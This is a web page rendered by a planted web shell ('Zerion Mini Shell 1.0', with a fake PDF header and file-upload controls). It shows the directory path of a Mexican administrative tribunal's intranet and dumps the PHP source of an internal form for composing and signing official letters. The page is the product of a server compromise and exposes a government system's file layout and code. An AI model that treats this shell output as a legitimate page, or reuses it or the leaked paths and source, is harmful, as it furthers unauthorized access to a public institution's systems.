%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/intranet.tjamich.gob.mx/intranet/sistemas/oficios/
Upload File :
Create Path :
Current File : /home/tjamichg/intranet.tjamich.gob.mx/intranet/sistemas/oficios/content_add_oficio_bk.php

<?php
    $conf = new Configuracion();
    $conf->conectarBD();
    include 'modalFirma.php';
    
?>

<div class="page-content">
    <a href="page_oficios.php" class="btn btn-pink">Regresar <i class="fa fa-mail-reply"></i></a>
    <div class="row">
        <div class="col-md-13">
            <div id="generalTabContent" class="tab-content">
                <div id="tab-messages" class="tab-pane fade in active">
                    <div class="portlet box">
                        <div class="portlet-header">
                            <div class="caption">
                                Generación de Oficio
                           </div>
                        </div>
                        <div class="portlet-body">
                            
                            <script  type="text/javascript" src="../../common/ckeditor/ckeditor.js"></script>
                            <form id="formFirmarof" data-toggle="validator" action = "controller/enviar_oficio.php" method = "post" role="form" enctype="multipart/form-data">
                                
                                <input id="id_firma" name="id_firma" type="hidden" value="0">
                                <div class="row">
                                    <div class="col-md-3">
                                        <div class="form-group"><label for="inputName" class="control-label"><dt>Alcance.</dt></label><span class='require'> *</span>
                                            <select class="form-control" name="alcance" id="alcance" onchange="verifica_alcance();" required >
                                                <option value="" selected></option>
                                                <option value="Personal">Personal</option>
                                                <option value="Masivo">Masivo</option>
                                            </select>
                                        </div>
                                    </div>
                                    <div class="col-md-3" style="display: none" id="env_personal">
                                        <div class="form-group"><label for="inputName" class="control-label"><dt>Destinatario.</dt></label><span class='require' > *</span>
                                            <select class="select2-multi-value form-control" name="epersonal" id="epersonal" onchange="asigna_nombre();" required >
                                                <option value="" selected ></option>
                                                <?php
                                                
                                                    
                                                    $consulta = "SELECT id,CONCAT(nombre, ' ', apellido1, ' ', apellido2) AS Nombre FROM tjam_empleados WHERE habilitado = 1";
                                                    $rst1 = $conf->consulta($consulta);
                                                    for($i=0; $i < count($rst1); $i++)
                                                    {
                                                        echo '<option value="'.$rst1[$i]['id'].'">'.$rst1[$i]['Nombre'].'</option>';
                                                    }
                                                ?>
                                            </select>
                                        </div>
                                    </div>
                                    <div class="col-md-3"  style="display: none" id="env_masivo">
                                        <div class="form-group"><label for="inputName" class="control-label"><dt>Segmento.</dt></label><span class='require'> *</span>
                                            <select class="form-control" name="emasivo" id="emasivo" onchange="asigna_segmento();" required>
                                                <option value="" selected></option>
                                                <option value="0">Por Área</option>
                                                <option value="1">Por selección</option>
                                            </select>
                                        </div>
                                    </div>
                                    <div class="col-md-3" style="display: none" id="env_x_area">
                                        <div class="form-group"><label for="inputName" class="control-label"><dt>Area.</dt></label>
                                            <select class="select2-multi-value form-control" name="emasivo_area" id="emasivo_area" onchange="asigna_area(this.value);" >
                                                <option value="" selected ></option>
                                                <option value="0">GENERAL</option>
                                                <?php
                                                    $conf = new Configuracion();
                                                    $conf->conectarBD();
                                                    
                                                    $consulta = "SELECT id_area,area FROM tjam_areas";
                                                    $rst1 = $conf->consulta($consulta);
                                                 
                                                    for($i=0; $i < count($rst1); $i++)
                                                    { 
                                                        echo '<option value="'.$rst1[$i]['id_area'].'">'.$rst1[$i]['area'].'</option>';
                                                    }
                                                ?>
                                            </select>
                                        </div>
                                    </div>
                                    <div class="col-md-3">
                                        <div class="form-group"><label for="inputName" class="control-label"><dt>Prioridad.</dt></label><span class='require'> *</span>
                                            <select class="form-control" name="prioridad" id="prioridad" required>
                                                <option value="" selected></option>
                                                <option value="green">Normal</option>
                                                <option value="red">Urgente</option>
                                            </select>
                                        </div>
                                    </div>
                                    <br>
                                </div>
                                <br style="clear:both;">
                                
                                <div class="row">
                                    <div class="col-md-12" style="display: none" id="seleccion">
                                        <div class="form-group"><label for="inputName" class="control-label"><dt>Correos: </dt></label><span class='require'> *</span>
                                         <select class="form-control" multiple="multiple" id="correos" name="correos[]" size="10">
                                             
                                         </select>
                                    </div>
                                </div>
                                <div id="respuesta"></div>
                                <div class="row">
                                        <div id="resultados" class='col-md-12'>
                                            <div class="form-group"><label for="inputName" class="control-label"><dt>Asunto</dt></label><span class='require'> *</span>
                                                <input class="form-control" type="text" name="asunto" id="asunto" required>
                                            </div>
                                        </div><!-- Carga los datos ajax -->
                                   
                                </div>
                                <div class="row">
                                      <div class="col-md-12">                                                                       
                                    <textarea rows="20" name="editor" class="ckeditor">
                                       <img src="../../common/images/49f611d6bd032933f0547012bc6410bc_b.png" align="right" style="width:128px;height:128px;"><p></p><br>DEL TRIBUNAL DE JUSTICIA ADMINISTRATIVA<br>PRESENTE</b>
                                    </textarea>
                                    </div>
                                         <script>
                                            // Replace the <textarea id="editor1"> with a CKEditor
                                            // instance, using default configuration.
                                            CKEDITOR.replace( 'editor' );
                                        </script>
                            <div class="row">
                                 <div class='col-md-12'>
                                <div class="form-group">
                                    <label for="InputText"> <h3>  Si el oficio tiene documentos adjuntos, favor de agregarlos </h3></label><br>
                                </div></div>
                                <div class="col-md-3" style="margin-bottom: 10px; margin-top: 10px;" >
                                       <button type="button" id="addCF12" onclick="AgregarArchivo();" class="btn btn-info"><i class="fa fa-plus-circle"></i> Agregar documentos adjuntos</button>
                                </div>
                                <div class="col-md-9">
                                </div>
                            </div> 
                                <div class="row">
                                    <div id="tableactionTabContent" class="tab-content">
                                        <div id="table-table-tab" class="tab-pane fade in active">
                                            <div class="row">
                                                <div class="col-lg-12">
                                                    <div class="table-container">
                                                        <table class="table table-hover table-striped table-bordered table-advanced tablesorter">
                                                            <thead>
                                                                <th style="text-align:center;" width="50%">Titulo del documento</th>
                                                                <th style="text-align:center;" width="35%">Adjuntar archivo</th>
                                                                <th style="text-align:center;" width="15%"></th>
                                                            <tbody id="NuevoArchivoAdjunto">
                                                            </tbody>
                                                            </thead></table>
                                                    </div>
                                                    <hr class="mtxl mbxl"/>
                                                </div>
                                            </div>
                                        </div>
                                    </div>
                                </div>   
                                </div>
                                 <!--
                                      <div class="alert alert-info">
                                    <strong>Aviso importante: </strong> 
                                        <div id="myFirmaN"> Antes de enviar este documento debe firmar el documento!</div>
                                        <div id="myEnvioN"> El documento fue firmado correctamente, usted ya puede enviar el oficio.</div>
                               </div>
                               
                                <div class="form-actions">
                                    <div class="col-md-offset-5 col-md-6">
                                        <div id="myEnvio">         <button type="submit" class="btn btn-success">Enviar Oficio <i class="fa fa-share"></i></button> </div>
                                        &nbsp; 
                                    </div>
                                </div> -->
                            </form>
                             <div class="col-md-offset-5 col-md-6">
                             <div id="myFirma"> 
                                <button class="btn btn-success" data-toggle="modal" data-target="#modal_firma">Firmar Oficio <i class="fa fa-check"></i></button>
                                </div></div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
</div>
<!--<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js"></script>-->
<script>

    function verifica_alcance(){
        b = document.getElementById('alcance').value;
        if(b == 'Masivo'){
            document.getElementById('env_masivo').style.display = "";
            document.getElementById('env_personal').style.display = "none";
        }else{
            document.getElementById('env_masivo').style.display = "none";
            document.getElementById('env_personal').style.display = "";
            document.getElementById('seleccion').style.display = "none";
            document.getElementById('env_x_area').style.display = "none";
        }
    }
    
    function asigna_segmento(){
        b = document.getElementById('emasivo').value;
        
        if(b == '1'){
            document.getElementById('seleccion').style.display = "";
            document.getElementById('env_x_area').style.display = "none";
            $('#respuesta').html("Por favor espera un momento");    
            $.ajax({
                type: "POST",
                url: 'consulta.php',
                data: 'id_area=',
                success: function(resp){
                    $('#correos').html(resp);
                    $('#respuesta').html("");
                }
            });
        }else{
            document.getElementById('seleccion').style.display = "";
            document.getElementById('env_x_area').style.display = "";
        }
    }

    function asigna_area(val)
    {
        document.getElementById('env_x_area').style.display = "";
        document.getElementById('seleccion').style.display = "";
        $('#respuesta').html("Por favor espera un momento");    
        $.ajax({
            type: "POST",
            url: 'consulta.php',
            data: 'id_area='+val,
            success: function(resp){
                $('#correos').html(resp);
                $('#respuesta').html("");
            }
        });
        
    }

    function asigna_nombre(){
        /*let inputValue = document.getElementById("epersonal").value; 
        CKEDITOR.instances["epersonal"].setData(inputValue)
        CKEDITOR.instances['epersonal'].setData(inputValue);
        var editor = CKEDITOR.instances['editor'];
        editor.setData('your data');
        editor.insertHtml('your html data');
        editor.insertText('your text data');  */
        //CKEDITOR.instances. ('epersonal') .getData ();
        /*ClassicEditor
            .create( document.querySelector( '#editor' ) )
            .then( editor => {
                console.log( editor );
            } )
            .catch( error => {
                console.error( error );
            } );
            
        editor.setData( '<p>Some text.</p>' );
        alert('ok');*/
        /*import ClassicEditor from '../../common/ckeditor5/ckeditor.js';
        ClassicEditor
            .create( document.querySelector( '#editor' ) )
            .then( editor => {
                console.log( editor );
            } )
            .catch( error => {
                console.error( error );
            } );
        editor.setData( '<p>Some text.</p>' );
        alert('ok');*/
        
    }
</script>

Zerion Mini Shell 1.0